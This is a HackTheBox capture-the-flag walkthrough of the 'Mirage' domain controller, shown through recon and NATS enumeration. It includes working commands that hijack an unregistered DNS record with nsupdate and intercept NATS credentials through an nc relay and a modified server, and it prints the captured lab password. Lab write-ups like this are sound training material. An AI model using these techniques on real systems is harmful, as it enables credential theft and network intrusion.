HTB: Mirage
Mirage is an Active Directory DC. I’ll start by finding a domain name in a report on an open NFS server. That name is not registered in DNS, so I’ll register it pointing to my host, and use that to capture NATS credentials. I’ll use those to enumerate NATS and find another set of creds. With those, I’ll Kerberoast another user to get a shell, and find another user logged into the box. A cross-session relay attack gets their hash which I can crack. That user can reset the password of a contractor user, and I’ll have to re-enable the account and set working hours to use it. From there, I’ll read a GMSA password, and use that service account to do a ESC10 attack, resulting in Administrator access.
Box Info
| Name | Mirage Play on HackTheBox |
|---|---|
| Release Date | 19 Jul 2025 |
| Retire Date | 22 Nov 2025 |
| OS | Windows |
| Base Points | Hard [40] |
| Rated Difficulty | ![]() |
| Radar Graph | ![]() |
| 00:50:27 |
|
| 03:37:34 |
|
| Creators |
Recon
Initial Scanning
nmap finds 29 open TCP ports:
oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.78
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-16 18:49 UTC
Initiating Ping Scan at 18:49
...[snip]...
Nmap scan report for 10.10.11.78
Host is up, received echo-reply ttl 127 (0.022s latency).
Scanned at 2025-11-16 18:49:03 UTC for 9s
Not shown: 65506 closed tcp ports (reset)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
111/tcp open rpcbind syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
2049/tcp open nfs syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
4222/tcp open vrml-multi-use syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49668/tcp open unknown syn-ack ttl 127
64368/tcp open unknown syn-ack ttl 127
64379/tcp open unknown syn-ack ttl 127
64381/tcp open unknown syn-ack ttl 127
64396/tcp open unknown syn-ack ttl 127
64402/tcp open unknown syn-ack ttl 127
64433/tcp open unknown syn-ack ttl 127
64436/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.66 seconds
Raw packets sent: 84384 (3.713MB) | Rcvd: 65536 (2.622MB)
oxdf@hacky$ nmap -p 53,88,111,135,139,389,445,464,593,636,2049,3268,3269,4222,5985,9389,47001 -sCV 10.10.11.78
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-16 18:50 UTC
Nmap scan report for 10.10.11.78
Host is up (0.022s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-11-17 01:50:35Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
2049/tcp open nlockmgr 1-4 (RPC #100021)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after: 2105-07-04T19:58:41
4222/tcp open vrml-multi-use?
| fingerprint-strings:
| GenericLines:
| INFO {"server_id":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","server_name":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":13,"client_ip":"10.10.14.2","xkey":"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL"}
| -ERR 'Authorization Violation'
| GetRequest:
| INFO {"server_id":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","server_name":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":14,"client_ip":"10.10.14.2","xkey":"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL"}
| -ERR 'Authorization Violation'
| HTTPOptions:
| INFO {"server_id":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","server_name":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":15,"client_ip":"10.10.14.2","xkey":"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL"}
| -ERR 'Authorization Violation'
| NULL:
| INFO {"server_id":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","server_name":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":12,"client_ip":"10.10.14.2","xkey":"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL"}
|_ -ERR 'Authentication Timeout'
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4222-TCP:V=7.94SVN%I=7%D=11/16%Time=691A1CF4%P=x86_64-pc-linux-gnu%
SF:r(NULL,1CE,"INFO\x20{\"server_id\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2
SF:AIPXPTTJG2NN3DWSBMPP5F\",\"server_name\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRA
SF:R5T2D2AIPXPTTJG2NN3DWSBMPP5F\",\"version\":\"2\.11\.3\",\"proto\":1,\"g
SF:it_commit\":\"a82cfda\",\"go\":\"go1\.24\.2\",\"host\":\"0\.0\.0\.0\",\
SF:"port\":4222,\"headers\":true,\"auth_required\":true,\"max_payload\":10
SF:48576,\"jetstream\":true,\"client_id\":12,\"client_ip\":\"10\.10\.14\.2
SF:\",\"xkey\":\"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL\
SF:"}\x20\r\n-ERR\x20'Authentication\x20Timeout'\r\n")%r(GenericLines,1CF,
SF:"INFO\x20{\"server_id\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2N
SF:N3DWSBMPP5F\",\"server_name\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXP
SF:TTJG2NN3DWSBMPP5F\",\"version\":\"2\.11\.3\",\"proto\":1,\"git_commit\"
SF::\"a82cfda\",\"go\":\"go1\.24\.2\",\"host\":\"0\.0\.0\.0\",\"port\":422
SF:2,\"headers\":true,\"auth_required\":true,\"max_payload\":1048576,\"jet
SF:stream\":true,\"client_id\":13,\"client_ip\":\"10\.10\.14\.2\",\"xkey\"
SF::\"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL\"}\x20\r\n-
SF:ERR\x20'Authorization\x20Violation'\r\n")%r(GetRequest,1CF,"INFO\x20{\"
SF:server_id\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F\
SF:",\"server_name\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSB
SF:MPP5F\",\"version\":\"2\.11\.3\",\"proto\":1,\"git_commit\":\"a82cfda\"
SF:,\"go\":\"go1\.24\.2\",\"host\":\"0\.0\.0\.0\",\"port\":4222,\"headers\
SF:":true,\"auth_required\":true,\"max_payload\":1048576,\"jetstream\":tru
SF:e,\"client_id\":14,\"client_ip\":\"10\.10\.14\.2\",\"xkey\":\"XDUYVCQQ2
SF:DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL\"}\x20\r\n-ERR\x20'Auth
SF:orization\x20Violation'\r\n")%r(HTTPOptions,1CF,"INFO\x20{\"server_id\"
SF::\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F\",\"server_
SF:name\":\"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F\",\"v
SF:ersion\":\"2\.11\.3\",\"proto\":1,\"git_commit\":\"a82cfda\",\"go\":\"g
SF:o1\.24\.2\",\"host\":\"0\.0\.0\.0\",\"port\":4222,\"headers\":true,\"au
SF:th_required\":true,\"max_payload\":1048576,\"jetstream\":true,\"client_
SF:id\":15,\"client_ip\":\"10\.10\.14\.2\",\"xkey\":\"XDUYVCQQ2DPW2O43RPBI
SF:4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL\"}\x20\r\n-ERR\x20'Authorization\x
SF:20Violation'\r\n");
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-11-17T01:51:19
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h00m01s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 72.55 seconds
The box shows many of the ports associated with a Windows Domain Controller. The domain is mirage.htb, and the hostname is DC01.
I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:
oxdf@hacky$ netexec smb 10.10.11.78 --generate-hosts-file hosts
SMB 10.10.11.78 445 dc01 x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
oxdf@hacky$ cat hosts
10.10.11.78 dc01.mirage.htb mirage.htb dc01
oxdf@hacky$ cat hosts /etc/hosts | sudo sponge /etc/hosts
I’ll note that netexec is showing that NTLM is disabled. nmap notes a clock skew, so I’ll want to make sure to run sudo ntpdate DC01.mirage.htb before any actions that use Kerberos auth.
All of the ports show a TTL of 127, which matches the expected TTL for Windows one hop away.
There are a couple non-typical ports open as well:
- NFS (TCP 111, 2049)
- NATS (TCP 4222)
SMB - TCP 445
Unsurprisingly, I can’t get anything out of SMB without valid creds:
oxdf@hacky$ netexec smb DC01.mirage.htb -u guest -p '' --shares
SMB 10.10.11.78 445 dc01 x64 (name:dc01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.10.11.78 445 dc01 [-] mirage.htb\guest: STATUS_NOT_SUPPORTED
oxdf@hacky$ netexec smb DC01.mirage.htb -u guest -p '' -k --shares
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [-] mirage.htb\guest: KDC_ERR_CLIENT_REVOKED
oxdf@hacky$ netexec smb DC01.mirage.htb -u oxdf -p oxdf -k --shares
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [-] mirage.htb\oxdf:oxdf KDC_ERR_C_PRINCIPAL_UNKNOWN
NSF - TCP 2049
Shares
In the past I’ve shown showmount for enumeration NFS shares. I’ll use netexec to check it out here:
oxdf@hacky$ netexec nfs DC01.mirage.htb --enum-shares
NFS 10.10.11.78 2049 DC01.mirage.htb Supported NFS versions: (2, 3, 4) (root escape:False)
NFS 10.10.11.78 2049 DC01.mirage.htb Enumerating NFS Shares Directories
NFS 10.10.11.78 2049 DC01.mirage.htb [+] /MirageReports
NFS 10.10.11.78 2049 DC01.mirage.htb UID Perms File Size File Path Access List
NFS 10.10.11.78 2049 DC01.mirage.htb --- ----- --------- --------- -----------
NFS 10.10.11.78 2049 DC01.mirage.htb 4294967294 r-x 8.1MB /MirageReports/Incident_Report_Missing_DNS_Record_nats-svc.pdf Everyone
NFS 10.10.11.78 2049 DC01.mirage.htb 4294967294 r-x 8.9MB /MirageReports/Mirage_Authentication_Hardening_Report.pdf Everyone
There’s one share, /MirageReports, with two files. I’ll grab both:
oxdf@hacky$ netexec nfs DC01.mirage.htb --share MirageReports --get-file Incident_Report_Missing_DNS_Record_nats-svc.pdf Incident_Report_Missing_DNS_Record_nats-svc.pdf
NFS 10.10.11.78 2049 DC01.mirage.htb Supported NFS versions: (2, 3, 4) (root escape:False)
NFS 10.10.11.78 2049 DC01.mirage.htb Downloading Incident_Report_Missing_DNS_Record_nats-svc.pdf to Incident_Report_Missing_DNS_Record_nats-svc.pdf
NFS 10.10.11.78 2049 DC01.mirage.htb File successfully downloaded from Incident_Report_Missing_DNS_Record_nats-svc.pdf to Incident_Report_Missing_DNS_Record_nats-svc.pdf
oxdf@hacky$ netexec nfs DC01.mirage.htb --share MirageReports --get-file Mirage_Authentication_Hardening_Report.pdf Mirage_Authentication_Hardening_Report.pdf
NFS 10.10.11.78 2049 DC01.mirage.htb Supported NFS versions: (2, 3, 4) (root escape:False)
NFS 10.10.11.78 2049 DC01.mirage.htb Downloading Mirage_Authentication_Hardening_Report.pdf to Mirage_Authentication_Hardening_Report.pdf
NFS 10.10.11.78 2049 DC01.mirage.htb File successfully downloaded from Mirage_Authentication_Hardening_Report.pdf to Mirage_Authentication_Hardening_Report.pdf
Mirage_Authentication_Hardending_Report.pdf
The first PDF is a plan to move off NTLM in favor of Kerberos only:
It’s five pages. There’s a timeline:
Mirage released in July 2025, so this is not yet complete (presumably). There’s a username at the end:
Incident_Report_Missing_DNS_Record_nats-svc.pdf
This is another report in the same template, this time about a security indicent:
The domain nats-svc.mirage.htb isn’t defined in the DNS server. There’s a screenshot using nats to connect to this host on port 4222:
Another screenshot shows the defined DNS records:
They believe the DNS record was marked to be removed if it was not refreshed for 14 days, and it was. They suggest moving it to a static record. The screenshot also shows that the DNS server is configured (in the default state) where any use can update DNS records:
DNS - TCP / UDP 53
I’ll use dig to enumerate the DNS a bit. I’m able to get answers from the DNS server about DC01.mirage.htb and mirage.htb:
oxdf@hacky$ dig @DC01.mirage.htb DC01.mirage.htb
; <<>> DiG 9.18.39-0ubuntu0.24.04.2-Ubuntu <<>> @DC01.mirage.htb DC01.mirage.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16501
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;DC01.mirage.htb. IN A
;; ANSWER SECTION:
DC01.mirage.htb. 3600 IN A 10.10.11.78
;; Query time: 21 msec
;; SERVER: 10.10.11.78#53(DC01.mirage.htb) (UDP)
;; WHEN: Sun Nov 16 19:56:24 UTC 2025
;; MSG SIZE rcvd: 60
oxdf@hacky$ dig @DC01.mirage.htb mirage.htb
; <<>> DiG 9.18.39-0ubuntu0.24.04.2-Ubuntu <<>> @DC01.mirage.htb mirage.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 7205
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;mirage.htb. IN A
;; ANSWER SECTION:
mirage.htb. 600 IN A 10.10.11.78
;; Query time: 22 msec
;; SERVER: 10.10.11.78#53(DC01.mirage.htb) (UDP)
;; WHEN: Sun Nov 16 19:56:28 UTC 2025
;; MSG SIZE rcvd: 55
If I try nats-svc.mirage.htb, there’s no answer:
oxdf@hacky$ dig @DC01.mirage.htb nats-svc.mirage.htb
; <<>> DiG 9.18.39-0ubuntu0.24.04.2-Ubuntu <<>> @DC01.mirage.htb nats-svc.mirage.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 46457
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;nats-svc.mirage.htb. IN A
;; AUTHORITY SECTION:
mirage.htb. 3600 IN SOA dc01.mirage.htb. hostmaster.mirage.htb. 150 900 600 86400 3600
;; Query time: 22 msec
;; SERVER: 10.10.11.78#53(DC01.mirage.htb) (UDP)
;; WHEN: Sun Nov 16 19:57:24 UTC 2025
;; MSG SIZE rcvd: 110
This matches the issue identified in the report.
NATS - TCP 4222
NATS is a:
Connective Technology for Adaptive Edge & Distributed Systems
And:
NATS is a simple, secure and high performance open source data layer for cloud native applications, IoT messaging, and microservices architectures. We feel that it should be the backbone of your communication between services. It doesn’t matter what language, protocol, or platform you are using; NATS is the best way to connect your services.
NATS is an alternative to RabbitMQ or Kafka.
From the nmap results I can tell about this instance:
- Version 2.11.3
- Go Version: go1.24.2
- Git Commit: a82cfda
- Protocol: Version 1
- JetStream: Enabled (persistence layer for NATS)
- Authentication: Required (“auth_required”:true)
- Max Payload: 1048576 bytes (1MB)
- Headers: Enabled
JetStream means that it will use that for persistent messages.
To install the client (as seen running in the screenshot above), I’ll run go install github.com/nats-io/natscli/nats@latest.
I’ll try the command from the PDF:
oxdf@hacky$ nats -s nats://DC01.mirage.htb rtt
19:54:06 Failed to compute rtt for nats://10.10.11.78:4222: nats: Authorization Violation
nats://DC01.mirage.htb:
nats://10.10.11.78:4222: failed
The rtt command is a very simple command, trying to calculate the round-trip time to the NATS server. If it requires auth, anything will. The screenshot shows using a username and password in environment variables.
Auth as david.jjackson
Recover NATS Password
Get Connection
I’m going to register my IP as the IP for nats-svc.mirage.htb with the hopes that some production systems will try to connect to it. I’ll use nsupdate:
oxdf@hacky$ nsupdate
> server 10.10.11.78
> update add nats-svc.mirage.htb 86400 A 10.10.14.2
> send
Within a minute, there’s a connection at my listening nc from the DC:
oxdf@hacky$ nc -lnvp 4222
Listening on 0.0.0.0 4222
Connection received on 10.10.11.78 60922
oxdf@hacky$
It just returns pretty quickly. That’s because the client is expecting data from the server.
Recover Password via nc Fake Connection
I’ll nc to Mirage on 4222, and it immediately responds with data, and then a second later a timeout message:
oxdf@hacky$ nc 10.10.11.78 4222
INFO {"server_id":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","server_name":"NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F","version":"2.11.3","proto":1,"git_commit":"a82cfda","go":"go1.24.2","host":"0.0.0.0","port":4222,"headers":true,"auth_required":true,"max_payload":1048576,"jetstream":true,"client_id":153,"client_ip":"10.10.14.2","xkey":"XDUYVCQQ2DPW2O43RPBI4XNUMAUJ2BZYDPJ3X2HQTCXZJRVRGRLC6BTL"}
-ERR 'Authentication Timeout'
I’ll use that data as the data to send when the client connects to me. I’ll update the DNS again (there’s a cleanup script resetting it immediately after it connects):
oxdf@hacky$ nc 10.10.11.78 4222 | head -1 | nc -lnvp 4222
Listening on 0.0.0.0 4222
Connection received on 10.10.11.78 65313
CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":true,"no_responders":true}
PING
There’s a CONNECT message from the client, and it has creds!
Recover Password via Legit Server and Wireshark
I’ll clone the official NATS server from GitHub:
oxdf@hacky$ git clone https://github.com/nats-io/nats-server
Cloning into 'nats-server'...
remote: Enumerating objects: 65730, done.
remote: Counting objects: 100% (361/361), done.
remote: Compressing objects: 100% (215/215), done.
remote: Total 65730 (delta 193), reused 187 (delta 145), pack-reused 65369 (from 2)
Receiving objects: 100% (65730/65730), 52.76 MiB | 22.63 MiB/s, done.
Resolving deltas: 100% (48367/48367), done.
I’ll go into that directory and go build, and it generates nats-server. I’ll start the server with -V for verbose output:
oxdf@hacky$ ./nats-server -V
[75879] 2025/11/16 20:47:38.720334 [INF] Starting nats-server
[75879] 2025/11/16 20:47:38.720368 [INF] Version: 2.14.0-dev
[75879] 2025/11/16 20:47:38.720371 [INF] Git: [aa1b2fc]
[75879] 2025/11/16 20:47:38.720373 [INF] Name: NASWQQGS7SP3Y4FEMJALSYC2OE7NHQYU267NWNR42CWX2QXDLAQWT7UF
[75879] 2025/11/16 20:47:38.720375 [INF] ID: NASWQQGS7SP3Y4FEMJALSYC2OE7NHQYU267NWNR42CWX2QXDLAQWT7UF
[75879] 2025/11/16 20:47:38.721142 [INF] Listening for client connections on 0.0.0.0:4222
[75879] 2025/11/16 20:47:38.721861 [INF] Server is ready
I’ll re-set the DNS record, and there’s a connection:
[75879] 2025/11/16 20:48:15.642094 [TRC] 10.10.11.78:59242 - cid:5 - <<- [CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"[REDACTED]","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":true,"no_responders":true}]
The first line is the CONNECT message, where it gives the username, but the “pass” field just shows “[REDACTED]”. However, if I run Wireshark while this happens, the connection is in plaintext:
Recover Password via Modified Server
I’ll use claude to modify the code:
It found where the reaction happens and just returns the original arg instead of the redacted result. I’ll re-run go build, run the server, and then update the DNS record. Now the CONNECT message password is in the clear:
[76607] 2025/11/16 20:52:30.213008 [TRC] 10.10.11.78:59261 - cid:5 - <<- [CONNECT {"verbose":false,"pedantic":false,"user":"Dev_Account_A","pass":"hx5h7F5554fP@1337!","tls_required":false,"name":"NATS CLI Version 0.2.2","lang":"go","version":"1.41.1","protocol":1,"echo":true,"headers":true,"no_responders":true}]
Not Domain Password
I can try this password as a domain user:
oxdf@hacky$ netexec smb DC01.mirage.htb -u Dev_Account_A -p 'hx5h7F5554fP@1337!' -k
SMB DC01.mirage.htb 445 DC01 x64 (name:DC01) (domain:mirage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB DC01.mirage.htb 445 DC01 [-] mirage.htb\Dev_Account_A:hx5h7F5554fP@1337! KDC_ERR_PREAUTH_FAILED
Either the account is not a domain account or the password is wrong.
Recover Password
Connect to NATS
With the valid username and password, I’m now able to run commands in the NATS client without errors:
oxdf@hacky$ nats -s nats://DC01.mirage.htb rtt --user Dev_Account_A --password "hx5h7F5554fP@1337!"
nats://DC01.mirage.htb:
nats://10.10.11.78:4222: 24ms
To avoid having to specify the host and the creds every time, I’ll use the context command:
oxdf@hacky$ nats context add mirage -s nats://DC01.mirage.htb --user Dev_Account_A --password "hx5h7F5554fP@1337!"
NATS Configuration Context "mirage"
Server URLs: nats://DC01.mirage.htb
Username: Dev_Account_A
Password: ******************
Path: /home/oxdf/.config/nats/context/mirage.json
I’ve created a context named “mirage” (could be anything) which now I can invoke with the --context option:
oxdf@hacky$ nats rtt --context mirage
nats://DC01.mirage.htb:
nats://10.10.11.78:4222: 22ms
NATS Overview
Some basic concepts around NATS are subjects, streams, and consumers:
- Subjects are like topics or channels (e.g., “user.login”, “payment.completed”, “logs.error”). Messages are published to subjects. In Core NATS (without any add-ons), it is pub/sub only, which means it is sent to any listeners and then discarded. If no one is listening, messages are lost.
- Streams are persistent storage that captures and stores messages from one or more subjects that come with an add-on like JetStream. Messages can be stored in memory or on disk with specified retention policies. They can be consumed multiple times, and can be configured to capture based on subject (channel).
- Consumers are how streams are read from. A consumer can read from the beginning, middle, or end, and multiple consumers can read the same stream independently.
To enumerate NATS, I’ll want to look at both streams and any channels I should subscribe to for newly sent messages.
NATS Enumeration
The account info command show information about the account:
oxdf@hacky$ nats account info --context mirage
Account Information
User: Dev_Account_A
Account: dev
Expires: never
Client ID: 1,163
Client IP: 10.10.14.2
RTT: 22ms
Headers Supported: true
Maximum Payload: 1.0 MiB
Connected URL: nats://DC01.mirage.htb:4222
Connected Address: 10.10.11.78:4222
Connected Server ID: NDAOI7VEIW4M7UNLZ6MBP7STRNRAR5T2D2AIPXPTTJG2NN3DWSBMPP5F
Connected Server Version: 2.11.3
TLS Connection: no
JetStream Account Information:
Account Usage:
Storage: 570 B
Memory: 0 B
Streams: 1
Consumers: 0
Account Limits:
Max Message Payload: 1.0 MiB
Tier: Default:
Configuration Requirements:
Stream Requires Max Bytes Set: false
Consumer Maximum Ack Pending: Unlimited
Stream Resource Usage Limits:
Memory: 0 B of Unlimited
Memory Per Stream: Unlimited
Storage: 570 B of Unlimited (1.0 MiB reserved)
Storage Per Stream: Unlimited
Streams: 1 of Unlimited
Consumers: 0 of Unlimited
The most interesting thing is that one stream exists created in this account. The fact that there are 0 consumers means no one is actively reading from the stream right now, but the 570 bytes of storage suggests there are messages stored in it waiting to be read.
stream list will show that stream:
oxdf@hacky$ nats stream list --context mirage
╭─────────────────────────────────────────────────────────────────────────────────╮
│ Streams │
├───────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name │ Description │ Created │ Messages │ Size │ Last Message │
├───────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ auth_logs │ │ 2025-05-05 07:18:19 │ 5 │ 570 B │ 196d13h5m17s │
╰───────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯
It’s named auth_logs. I’ll get info about it:
oxdf@hacky$ nats stream info auth_logs --context mirage
Information for Stream auth_logs created 2025-05-05 07:18:19
Subjects: logs.auth
Replicas: 1
Storage: File
Options:
Retention: Limits
Acknowledgments: true
Discard Policy: New
Duplicate Window: 2m0s
Direct Get: true
Allows Batch Publish: false
Allows Counters: false
Allows Msg Delete: false
Allows Per-Message TTL: false
Allows Purge: false
Allows Schedules: false
Allows Rollups: false
Limits:
Maximum Messages: 100
Maximum Per Subject: unlimited
Maximum Bytes: 1.0 MiB
Maximum Age: unlimited
Maximum Message Size: unlimited
Maximum Consumers: unlimited
State:
Host Version: 2.11.3
Required API Level: 0 hosted at level 1
Messages: 5
Bytes: 570 B
First Sequence: 1 @ 2025-05-05 07:18:56
Last Sequence: 5 @ 2025-05-05 07:19:27
Active Consumers: 0
Number of Subjects: 1
